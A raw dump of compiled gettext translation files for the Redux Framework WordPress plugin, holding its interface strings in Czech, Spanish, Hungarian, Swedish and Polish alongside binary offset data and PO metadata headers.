for WordPress themes and plugins.RegularRemoveRepoReset AllReset SectionRightSave ChangesSection Defaults Restored!Select an itemSettings Imported!Settings Saved!Settings have changed, you should save them!Show Object in Javascript Console ObjectSizeSlideStandard FontsStatusStyleSubscribeSubsetsSupportSystem InfoTeam ReduxText AlignText DecorationText TransformThe following directories & files are still located in your Redux directory. They may cause errors in Theme-Check.The people that develop Redux FrameworkThe theme you are testing has %s embedded. We invite you to read the %sTheme-Check Documentation%s to understand some warnings you will see because of Redux.The unknown action has been replaced with "%s"ThemeThis field cannot be empty. Please provide a value.This field must be a valid color value.This field must be a valid date.This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.TitleTo TopTransparentURLUnable to modify required files. Please ensure thatUnitsUnknown action "%1$s" specified for %2$sUploadUserUsernameVersionVersion %sView %sVisit plugin homepageVisitedWARNING! This will overwrite all existing option values, please proceed with caution!Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.Warning- This options panel will not work properly without javascript!Welcome to Redux FrameworkWelcome to Redux Framework %sWelcome to the Redux Demo PanelWhat's NewWidthWord SpacingWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?You must not enter any HTML in this field, all HTML tags have been removed.You must not enter any special characters in this field, all special characters have been removed.You must provide a comma separated list of numerical values for this option.You must provide a numerical value for this option.You must provide a valid URL for this option.You must provide a valid email for this option.Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?clickingdonationerror(s) were found!extensions directoryhas the proper read/write permissions or enter your FTP information below.http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkleave us a favorable review on WordPress.orgmoving the mouse overour documentationwarning(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Czech (Czech Republic) (http://www.transifex.com/projects/p/redux-framework/language/cs_CZ/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: cs_CZ Plural-Forms: nplurals=3; plural=(n==1) ? 0 : (n>=2 && n<=4) ? 1 : 2; X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes Aktivovat Demo módAktivovat vývoj pluginůAktivníPřidat %sPřidat vícePřidat/Upravit GaleriiVšeVše výchozí obnoveno!Povolit sledováníJste si tím jistý? Resetem ztratíte všechny vlastní hodnoty.Jste si jisti? Reset ztratí všechny vlastní hodnoty v této sekci.Jste si tím jistý? Resetem ztratíte všechny vlastní hodnoty.Provedená automatická akce: "%s"Background AttachmentBackground ClipBackground OriginBackground PositionBackground RepeatBackground SizeZálohovat Font FamilyStyl ohraničeníDolůProtokol změnVyčistit GaleriiKlikněte zde pro aktivaci ukázkového konfiguračního souboru.ZavřítPoděkování Deaktivovat Demo módDeaktivovat vývoj pluginůVýchozíSmazatPopisVývojářRežim Vývojář AktivovánVěděli jste, že máme rozšíření, které výrazně zlepšují vlastnosti Redux? Navštivte náš %1$s kde se dozvíte více!DeaktivovatSkrýtZakázat sledování Emailová adresaAktivovatRozšířitVolby ExportuBarva PísmaFont FamilyVelikost PísmaPodskupiny SytlůVarianta StyluVelikost písma a StylBarva písmaFont familySkript písmaStyl písmaPodskupiny sytlůOdZačínámeGoogle WebfontsVýškaPomozte vylepšit Náš panelZde můžete zkopírovat/stáhnout aktuální předvolby nastavení. Používejteto pouze v krajním případě jako zálohu než se něco pokazí, nebo to můžete použít pro obnovení nastavení na této stránce (nebo jakékoliv jiné).NápovědyTipy jsou rady, které se objeví, když %d ikona nápovědy, nabízí doplňující informace o poli, ve kterém se objeví. Mohou %d pomoci následujícího odkazu.Při najetí myšiPokud ano, pak %1$s a zvažte možnost %2$s, umožníte tak další vývoj Reduxu.Pokud chcete držet krok se všemi věcmi Redux, prosím, přihlaste se k odběru našeho newsletteruImportovatImport / ExportNastavení ImportuImportovat z URL adresyZadejte URL jiné stránky se sadou nastavení a dejte Import pro načtení nastavení z tohoto webu.Níže vložte záložní soubor a klikněte na Importovat pro obnovení vašeho nastavení ze zálohy.VlevoVzdálenost písmenMáte rádi Redux?Výška ŘádkuJe třeba vyvovlat po akci "plugins_loaded".NázevNový %s Zasílání novinekPoložka tohoto typu nebyla nalezena.Žádné médium nebylo vybránoVypZapNastaveníVolby objektuPanel nastavení byl vytvořen pomocí %1$sHesloProsím strpeníProsím, pomozte nám zlepšovat náš panel povolením získávat anonymní statistiky používání. Takhle se dozvíme, jaké konfigurace, pluginy a témata použít při testování k zajištění kompatibility.Redux RozšířeníRedux FrameworkRedux Framework Protokol změn Redux Framework má vložené demo.Redux GenerátorRedux je jednoduchý opravdu rozšířitelný framework pro WordPress témata a pluginy.ObvyklýOdstranitÚložištěResetovat všeResetovat SekciVpravoUložit ZměnySekce obnovena na výchozí!Vyber položkuNastavení importováno!Nastavení uloženo!Nastavení se změnilo, měli byste jej uložit!Zobrazit Objekt v "Javascript console Object"VelikostSlideStandardní písmaAktualitaStylOdebíratPodskupinyPodporaSystémové InformaceTým ReduxZarovnání TextuDekorace TextuTransformace TextuNásledující adresáře a soubory jsou stále umístěny ve VašemRedux adresáři. Mohou způsobovat chyby při kontrole témata.Lidé kteří vyvinuli Redux FrameworkTéma které testujete %s Neznámá akce byla nahrazena "%s"ŠablonaToto pole nemůže být prázdné. Prosím vložte platnou hodnotu.Toto pole musí obsahovat platnou hodnotu barvy.Toto pole musí obsahovat platnou hodnout.Tento panel demonstruje mnoho Redux funkcí. Před prozkoumáváním, vám pro zrychlení doporučujeme prozkoumat %1$s.NázevDoNahoruPrůhlednýURLNelze upravit požadovaný adresář. Prosím, ujistěte se žeJednotkyNeznámá akce "%1$s" specifikovaná pro %2$sNahrátUživatelUživatelské jménoVerze Verze %sZobrazit %sNavštívit web pluginuNavštívenoVAROVÁNÍ! Tohle přepíše všechny existující hodnoty nastavení, prosím, postupujte opatrně!Chcete získat náskok? Použijte %1$s. Vytvořte si vlastní motiv nebo samostatnou univerzální administrativní složku se vším, co je Redux (pomocí podtržítka a TGM). Ušetřete si na bolesti hlavy a zkuste to ještě dnes.Varování - Tento panel voleb nebude pracovat správně bez javascriptu!Vítejte v Redux FrameworkVítejte v Redux Framework %sVítejte v Redux Demo PaneluCo je novéhoŠířkaMezery mezi slovyPracuji...Nemáte dostatečné oprávnění pro přistup na tuto stránku.Provedl jste změny které ještě nebyly uloženy. Chcete je uložit nyní?Některé změny dosud nebyly uloženy. Chtěl byste je uložit nyní?Nesmíte zde vkládat HTML, veškeré HTML tagy byly smazány.Nesmíte zde vkládat žádné speciální znaky, veškeré speciální znaky byly odstraněny.Musíte zadat čárkou oddělený seznam číselných hodnot pro tuto možnost.Musíte vložit číselnou hodnotu pro tuto volbu.Musíte vložit platnou URL adresu pro tuto volbu.Uveďte platnou emailovou adresu.Vaše současné hodnoty budou nahrazeny hodnotami tohoto nastavení. Chcete pokračovat?Vaše aktuální nastavení bude přepsáno tímto předdefinovaným. Chcete pokračovat?kliknutímdarByly nalezeny chyby!adresář doplňkůmá příslušná oprávnění pro čtení/zápi,s nebo níže zadejte své FTP údaje.http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworknám zanechte kladné hodnocení na WordPress.orgpřejetím myšinaši dokumentaciVarování byla nalezena!lib/redux-framework/languages/redux-framework-es_MX.mo000064400000014265147206624460017115 0ustar00GTa$+5/De4  ".,[afn    U:AQ V bmqt| %   ! + 7 B &Q {x 3 ( . 2 6 = F Q W ; F0 Ew a `   ,  j HbiNn_Nl~@  6B K X cm|h& :DV_ gqz( 0!)9A HR ky5@e :BB<ff MW/nB%3.$#E/F:!29D)"68 @0?>'(;-&1 7= <,4 A+  5CG*Activate Demo ModeActiveAllAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Background AttachmentBackground PositionBackground RepeatBottomChangelogClick here to activate the sample config file.CloseCopyCreditsDeactivate Demo ModeDefaultDeleteDescriptionDisableDismissDocumentationEmail addressEnableFont FamilyHeightIf you'd like to keep up to with all things Redux, please subscribe to our newsletterImportImport / ExportLeftLike Redux?NewsletterOffOnOptionsOptions ObjectOptions panel created using %1$sPasswordRedux ExtensionsRedux FrameworkRedux Framework has an embedded demo.RemoveRightSave ChangesSizeStyleSubscribeSystem InfoText AlignText TransformThe [purchase_link] ShortcodeThe [downloads] shortcode will display a product grid that works with any theme, no matter the size. It is even responsive!This field cannot be empty. Please provide a value.TitleTopURLUploadUsernameVersion %sWidthWith easily accessible shortcodes to display purchase buttons, you can add a Buy Now or Add to Cart button for any product anywhere on your site in seconds.You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?donationextensions directoryleave us a favorable review on WordPress.orgour documentationProject-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-02-03 22:24:22+00:00 PO-Revision-Date: 2015-03-10 15:34+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Spanish (Mexico) (http://www.transifex.com/projects/p/redux-framework/language/es_MX/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: es_MX Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes Activar Modo DemostrativoActivoTodo¿Estás seguro? La restauración eliminará todos los valores personalizados.¿Estás seguro? La restauración eliminará todos los valores personalizados en esta sección.¿Estás seguro? La restauración eliminará todos los valores personalizados.Adjunto del fondoPosición del fondoRepetición del fondoTodoInforme de cambiosDa clic aquí para activar el archivo de configuración ejemplo.CerrarCopiarCréditosDesactivar Modo DemostrativoPor DefectoEliminarDescripciónDesactivarDescartarDocumentaciónCorreo electrónicoActivarFamilia tipográficaAlturaSi te gustaría mantenerte al tanto con las novedades en Redux, por favor suscríbete a nuestro boletínImportarImportar / ExportarIzquierda¿Te gusta Redux?BoletínApagadoEncendidoOpcionesObjeto de OpcionesPanel de opciones creado utilizando %1$sContraseñaExtensiones de ReduxRedux FrameworkRedux Framework tiene un demostrativo integrado.EliminarDerechaGuardar cambiosTamañoEstiloSuscribirInformación del SistemaAlinear TextoTransformar TextoEl código corto (shortcode) [purchase_link]El código corto (shortcode) [downloads] desplegará una cuadrícula que trabaja con cualquier tema, no importando el tamaño. ¡Es código totalmente responsivo!Este campo no puede quedar vacío. Por favor introduce un valor.TítuloArribaURLSubirNombre de usuarioVersión %sAnchoCon códigos cortos fácilmente accesibles para desplegar los botones de compra, puede añadir un botón de "Compre Ahora Mismo" o "Añadir al pedido" para cualquier producto en cualquier parte de su sitio en segundos.No tienes suficientes permisos para acceder a esta páginaTienes cambios que no han sido salvados. ¿Deseas salvarlos ahora?Tienes cambios que no han sido salvados. ¿Deseas salvarlos ahora?Tus configuraciones actuales serán reemplazadas con los valores que se presentan. ¿Deseas continuar?Tus configuraciones actuales serán reemplazadas con los valores que se presentan. ¿Deseas continuar?donacióncarpeta de extensionescomparte una reseña favorable en WordPress.orgnuestra documentaciónlib/redux-framework/languages/redux-framework-hu_HU.mo000064400000017474147206624460017117 0ustar00nP Q d k |   5 D 4! V l    .    # + 2 > H P X n |      % , < K ][        + 4 @ Q %a         ,HMT Zd l x  UFO  ;EaT` 5mJ!#%K?_P<Oby < 4EN W b oy       . : DP e o|U(,= BMfi lzA(9B%K,q'B+nu~    ' /:?Kg^Ro 96ww  "fe04@:5X]d% hTc)&m91KZ\ P,MbE#8g;Q*a! /DiR3kUY-HBOnjI+[$<J2l_" SW`V7^( GN=CLA.6? '>FActivate Demo ModeActiveAdd/Edit GalleryAllAll Defaults Restored!Allow trackingAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Background AttachmentBackground PositionBackground RepeatBackup Font FamilyBorder styleBottomChangelogClear GalleryClick here to activate the sample config file.CloseCreditsDeactivate Demo ModeDefaultDeleteDescriptionDeveloperDisableDismissDo not allow trackingEmail addressEnableExpandExport OptionsExtensionsFont ColorFont FamilyFont SizeFont colorFont familyFont scriptFont styleFront PageGetting StartedGoogle WebfontsHeightImportImport / ExportImport OptionsImport from URLInput the URL to another sites options set and hit Import to load the options from that site.LeftLike Redux?NameNewsletterNo media selectedOffOnOptionsOptions ObjectOptions panel created using %1$sPasswordPlease WaitRedux ExtensionsRedux FrameworkRedux Framework has an embedded demo.Redux GeneratorRemoveRepoReset AllReset SectionRightSave ChangesSection Defaults Restored!Select an itemSettings Imported!Settings Saved!Settings have changed, you should save them!SizeStatusStyleSubscribeSupportSystem InfoText AlignText DecorationThemeTitleTopTransparentURLUploadUserUsernameVersionVersion %sView %sVisit plugin homepageWARNING! This will overwrite all existing option values, please proceed with caution!Warning- This options panel will not work properly without javascript!Welcome to the Redux Demo PanelWhat's NewWidthWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?donationerror(s) were found!extensions directoryProject-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Hungarian (Hungary) (http://www.transifex.com/projects/p/redux-framework/language/hu_HU/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: hu_HU Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes Demo mód bekapcsolásaAktívGaléria hozzáadás/szerkesztésÖsszesMinden alapérték visszaálltíva!Követés engedélyezéseBiztosan ezt akarod? A visszaállítás után minden módosítás elveszik.Biztosan ezt akarod? A visszaállítás után minden módosítás elveszik ebben a szekcióban.Biztosan ezt szeretnénk? A visszaállítás után minden módosítás elveszik.Háttér tartozékHáttér pozícióHáttér ismétlődésBetűtípus család mentéseSzegély stílusLentVáltozásGaléria tisztításaKattintsunk ide a példa beállító fájl aktiválásához.BezárásCreditsDemo mód kikapcsolásaAlapértelmezettTőrlésLeírásfejlesztőKikapcsolásBezárásKövetés tiltásE-mail címBekapcsolásKinyitBeállítások exportálásaBővítményekBetűszínBetűtípus családBetűméretBetűszínBetűcsaládBetűtípus szkriptBetűtípusKezdőlapKezdjük elGoogle betűtípusokMagasságImportálásImportálás / ExportálásBeállítások importálásaImportálás hivatkozásbólAdjuk meg a hivatkozást a külső honlapról való beállítások importálásához.BalTetszik a Redux?NévHírlevélNincs media kiválasztvaKiBeLehetőségekObjektum beállításokBeállítások felület: %1$sJelszóVárjunkRedux kiegészítőkRedux FrameworkRedux keretrendszer rendelkezik egy beépített demo felülettel.Redux generátorTörlésTárolóMinden beállítás visszaállításaSzekció beállításainak visszaállításaJobbMódosítások mentéseSzekció alapértékek visszaállítva!Tétel kiválasztásBeállítások importálva!Beállítások mentve!A beállítások módosultak, el kéne menteni a módosításokat!MéretStátuszStílusFeliratkozásSupportRendszer információSzöveg igazításaSzöveg dekorációSablonCímFentÁtlátszóURLFeltőltésFelhasználóFelhasználónévVerzió%s verzió%s megtekintéseMeg kell látogatni a bővítmények oldalát (plugin homepage)FIGYELEM! Ez a lehetőség felülírja az összes létező beállítás értékét, legyünk óvatosak!Figyelmeztetés- A beállítások felület nem fog megfelelően működni javascript nélkül!Üdvözli a Redux Demo PanelMik az újdonságokSzélességFolyamatban...Nincs megfelelő jogosultság az oldal megtekintéséhez.A változások nem kerültek mentésre. Mentsük most?A jelenlegi beállítások módosítva lesznek ennek az előkonfigurációnak a beállításaival. Biztosan ezt akarod?A jelenlegi beállítások módosítva lesznek ennek az előkonfigurációnak a beállításaival. Biztosan ezt akarod?támogatáshiba(ák) található!Kiegészítők könyvtárlib/redux-framework/languages/redux-framework-sv_SE.mo000064400000031575147206624460017124 0ustar00   ) 0 9 J N e 5t D 4 $E[k}   .)/7Lks z l  #18? N Y e p |  ZUnu]X[` o2{ ! 1 :FW%g   ,)(V   .3'I qy  &*(0Y`en vUF) IT Z g;rFEK;bL37-k/a`+,j .     ' "'!CJ!G!G!!"@" P"^"p"""""" " " "6 #B#I#Q#0o### # ## H$S$'\$$$ $$$$$ $$$$% %*%D%%J%p%x& &h&`& V'`'p''v'((((8(( ()&)7):) >)I)"Y) |))) )&))))** *6*=*,N*{***3*'+++3+E+L+ Q+]+n+v+ ++1++<+1,/K,{,(-.-3- 8-D-H-0P- - - -- ----k-P.O;// // / /L/:#0=^0Q0R0NA1312151b-2b2223)%3O3b3AsXmul.!7K8qR*J +_B:;# 3=^~?$%n",9]b W4\di fc1(Spo&>FY) <@My0}hgZ'vNC P5HQxz`tjUVG/w{reL2aD|-TE[6IOkActivate Demo ModeActivate Development PluginsActiveAdd MoreAdd/Edit GalleryAllAll Defaults Restored!Allow trackingAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Automatic action performed: "%s"Background AttachmentBackground ClipBackground OriginBackground PositionBackground RepeatBackground SizeBackup Font FamilyBorder styleBottomBrowserChangelogClear GalleryClick here to activate the sample config file.CloseCreditsDeactivate Demo ModeDeactivate Development PluginsDefaultDeleteDescriptionDeveloperDid you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!DisableDismissDo not allow trackingEmail addressEnableExpandExport OptionsExtensionsFont FamilyFont colorFont familyFont scriptFont styleFont subsetsFrom Getting StartedGoogle WebfontsHeightHelp improve Our PanelHere you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).HintsHoverIf so, please %1$s and consider making a %2$s to keep development of Redux moving forward.If you'd like to keep up to with all things Redux, please subscribe to our newsletterImportImport / ExportImport OptionsImport from URLInput the URL to another sites options set and hit Import to load the options from that site.Input your backup file below and hit Import to restore your sites options from a backup.LeftLetter SpacingLike Redux?Must call in of after the "plugins_loaded" action.NameNewsletterNo items of this type were found.No media selectedOffOnOptionsOptions ObjectOptions panel created using %1$sPasswordPlease WaitRedux ExtensionsRedux FrameworkRedux Framework has an embedded demo.Redux GeneratorRegularRemoveRepoReset AllReset SectionRightSave ChangesSection Defaults Restored!Select an itemSettings Imported!Settings Saved!Settings have changed, you should save them!Show Object in Javascript Console ObjectSizeStandard FontsStatusStyleSubscribeSubsetsSupportSystem InfoText AlignText TransformThe unknown action has been replaced with "%s"ThemeThis field cannot be empty. Please provide a value.This field must be a valid color value.This field must be a valid date.This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.TitleTo TopTransparentURLUnitsUnknown action "%1$s" specified for %2$sUploadUserUsernameVersionVersion %sView %sVisit plugin homepageVisitedWARNING! This will overwrite all existing option values, please proceed with caution!Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.Warning- This options panel will not work properly without javascript!Welcome to the Redux Demo PanelWhat's NewWidthWord SpacingWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?You must not enter any HTML in this field, all HTML tags have been removed.You must not enter any special characters in this field, all special characters have been removed.You must provide a comma separated list of numerical values for this option.You must provide a numerical value for this option.You must provide a valid URL for this option.You must provide a valid email for this option.Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?donationerror(s) were found!extensions directoryleave us a favorable review on WordPress.orgour documentationwarning(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Swedish (Sweden) (http://www.transifex.com/projects/p/redux-framework/language/sv_SE/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: sv_SE Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes Aktivera DemoinställningAktivera Utvecklings-plugins / InsticksprogramAktivLägg till merLägg till/redigera galleriAllaAlla grundinställningar återställda!Tillåt s.k. 'tracking' spårning.Är du säker? Återställning kommer ta bort alla standardvärden.Är du säker? Återställning kommer att ta bort alla standardvärden.Är du säker? Återställning kommer att ta bort alla standardvärden.Automatisk åtgärd utförd: "%s"BakgrundsbilagaBakgrundsbildBakgrundsursprungPosition för bakgrundRepetition av bakgrundStorlek för bakgrundSäkerhetsspara typsnittsfamiljRamstilBottenWebbläsareÄndringsloggRensa galleriKlicka här för att aktivera exempelkonfigurationsfilStängCreditsAvaktivera DemoinställningenAvaktivera utvecklings-plugins / insticksprogramStandardRaderaBeskrivningUtvecklareVisste du att vi har tillägg som som i stor utsträckning förbättrar verktygen i Redux? Besök vår %1$s för att lära mer.InaktiveraAvfärdaTillåt inte s.k. 'tracking' spårning.E-postAktiveraExpanderaExportinställningarTilläggTypsnittTypsnittsfärgTextfamiljTeckentypsskriptTextsnittsstilTeckedeluppsättningarFrånKomma igång!Google Webfonts /typsnittHöjdHjälp oss att förbättra Vår PanelHär kan du kopiera/ladda ned dina nuvarande inställningar. Spara dessa på ett säkert ställe. Du kan använda dessa som om något skulle gå fel, eller så kan du använda dessa för att återställa dina inställningar för denna ´site´ (eller annan site).Tips! Sväva/hovraom så, vänligen %1$s och överväg en donation om %2$s för att hjälpa utvecklingen av Redux framåt.Om du vill hålla dig uppdaterad om allt kring Redux, vänligen prenumerera på vårt nyhetsbrevImporteraImport / ExportImportinställningarImportera från URLSkriv in en URL för en annan sidas inställningar och 'klicka' på importera för att ladda hem dessa inställningar.Hämta/markera din backup-fil nedan och klicka på ´Importera´ för att återställa din Site´s inställningar från en backup.VänsterTeckenmellanrumGilla Du Redux?Måste uppdatera efter att "plugins_loaded" genomförts.NamnNyhetsbrevInga objekt av denna typ funna.Inga media valdaAVPÅFunktionerFunktionsobjektFunktionspanelen skapades med %1$sLösenordVar vänlig väntaRedux TilläggFunktioner:Redux Framework har en inbäddad demo.Redux GeneratorOrdinarie/reguljärRaderaFörrådÅterställ alltÅterställ sektionenHögerSpara ÄndringarSektionsgrundinställningar - Återställda!Välj till ett objektInställningar har importerats!Inställningarna är sparade!Inställningarna har ändrats. Du bör spara dessa!Visa Objekt i Javascript Console ObjectStorlekStandardtextsnittStatusStilPrenumereraDelupsättningarSupportSysteminformationTextplaceringTextomvandlingDen okända åtgärden har blivit ersatt med "%s"TemaDetta fält får inte vara tomt - vänligen ange ett värde.Detta fält måste innehålla en giltig färgkod.Detta fält måste innehålla ett giltigt datumDenna panel beskriver de många verktygen och funktionerna hos Redux. Innan du börjar testa runt, föreslår vi att du, för att snabbare komma igång, tittar igenom %1$s.TitelTillToppTransparentURLEnheterOkänd händelse för "%1$s" specifikt för %2$sLadda uppAnvändareAnvändarnamnVersionVersion %sVisa %sBesök tilläggets webbplatsBesöktVARNING! Detta kommer att skriva över dina nuvarande inställda värden. Fortsätt med stor försiktighet!Vill du komma igång snabbt? Använd %1$s. Denna skapar en individuellt anpassad plattform eller fristående adminmapp, komplett med allt runt Redux (med hjälp av Underscores och TGM). Bespara dig huvudvärken och testa redan idag.Varning - Denna funktionspanel kommer inte att fungera korrekt utan Javascript!Välkommen till Redux DemopanelVad är NyttBreddOrdmellanrumArbetar...Du har inte tillräcklig behörighet för att få tillgång till denna sida.Du har ändringar som ej sparats. Vill du spara dessa nu?Du har ändringar som du inte sparat. Vill du spara dessa nu?Du får inte mata in någon HTML i detta fält. Alla HTML-taggar har tagits bort.Du får inte ange specialtecken i detta fält, alla specialtecken har tagits bort.Du måste, för detta val, ange en kommaseparerad lista med numeriska värden.Du måste ange ett numeriskt värde för detta val.Du måste ange en giltig URL för detta alternativDu måste ange en giltig e-postadress för detta val.Dina nuvarande inställningar kommer att ersättas med förinställda värden. Vill du fortsätta?Dina nuvarande inställningar kommer att ersättas med denna förinställning. Vill du fortsätta?donationfel /(flera fel) funna!tilläggskataloglämna en bra recension på WordPress.orgvår dokumentationVarning (varningar) funna!lib/redux-framework/languages/redux-framework-pl_PL.mo000064400000045025147206624460017106 0ustar00D3l89Lip5D4E z  '4; C P Z f.t .6)Nx  l!)?D We lv}           % +6 MYiydjZ0U](X   2 R`e l!w   + 7%Qw W  $ ) 3AG Yf ,(, U ^ c i x      %!'!'!!! "."6" #3#'G# o#y# $$$ $$$3($\$(b$$$$$ $$$$U$/% ?%J%F/&v&&&& && &' ';)'Fe'E'K'b>(L(3(-")/P)a)`)C*L*U*j*J**,* +,+K+a+s++/ /:/B/R/[/a/w/4//6/A06D0 {0&0000 00 01101 61D1 _1k1z1<11 1 1112 2;2N2 k2$u26222 223333 33 33 3334 44+4<4O4`4~444 444444 45 5#5C5 55 666[6i9777777Q7OC88888 88+8 9!9'9/9*89c9u9{99 9%999 9999::: ; $;E;'a;;; ;];<< /<;< A<N<_<o<u< <1<<<< ==5=O=7m="= ====== > >> >5>D>W>i>!>->>']????3j@9@@7@*A'AA~iAAAAABL B XB-bB B BBB B B BB+C-C ?CICW=DDD$D'D E E+EGE ]EEgEMEGEWCFlFSG1\GG#GUG[$HHH+HHTH&I,@ImI1|III<ISW)>dyoV,Ku' rp/6[;aq]F\-Cm #R49^Dv?GHnM} IPz =l"Y1k0OQLf:c8xsgi5~tUN_JA!3|<%h.*E j$ @TB+bw{&`7Z(e2XActivate Demo ModeActivate Development PluginsActiveActive PluginsAdd %sAdd MoreAdd/Edit GalleryAllAll Defaults Restored!Allow trackingAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Author URLAutomatic action performed: "%s"Background AttachmentBackground ClipBackground OriginBackground PositionBackground RepeatBackground SizeBackup Font FamilyBorder styleBottomBrowserBrowser InfoChangelogChild ThemeClear GalleryClick here to activate the sample config file.CloseCopied!Copy DataCopy Export URLCopy for SupportCreditsDatabase Table PrefixDeactivate Demo ModeDeactivate Development PluginsDefaultDefault Timezone is UTCDefault timezone is %s - it should be UTCDeleteDescriptionDeveloperDeveloper Mode EnabledDid you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!DisableDismissDo not allow trackingDocsDownload Data FileEmail addressEnableError: %sExpandExport OptionsExtensionsFont ColorFont FamilyFont SizeFont SubsetsFont VariantFont Weight & StyleFont colorFont familyFont scriptFont styleFont subsetsFrom Front PageGenerate a Support URLGet SupportGetting StartedGoogle WebfontsHeightHelp improve Our PanelHere you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).HintsHints are tooltips that popup when %d the hint icon, offering addition information about the field in which they appear. They can be %d d by using the link below.Home URLHoverHow to Get SupportIf so, please %1$s and consider making a %2$s to keep development of Redux moving forward.If you'd like to keep up to with all things Redux, please subscribe to our newsletterImportImport / ExportImport OptionsImport from FileImport from URLInput the URL to another sites options set and hit Import to load the options from that site.Input your backup file below and hit Import to restore your sites options from a backup.LanguageLearn MoreLeftLetter SpacingLike Redux?Line HeightMust call in of after the "plugins_loaded" action.MySQL VersionNameNew %sNewsletterNo items of this type were found.No media selectedOffOnOptionsOptions ObjectOptions panel created using %1$sPHP Memory LimitPHP Time LimitPHP VersionPasswordPlease WaitPlease helps us improve our panel by allowing us to gather anonymous usage stats so we know which configurations, plugins and themes to test to ensure compatibility.Posts PageRedux ExtensionsRedux FrameworkRedux Framework - SupportRedux Framework - System StatusRedux Framework ChangelogRedux Framework has an embedded demo.Redux GeneratorRedux 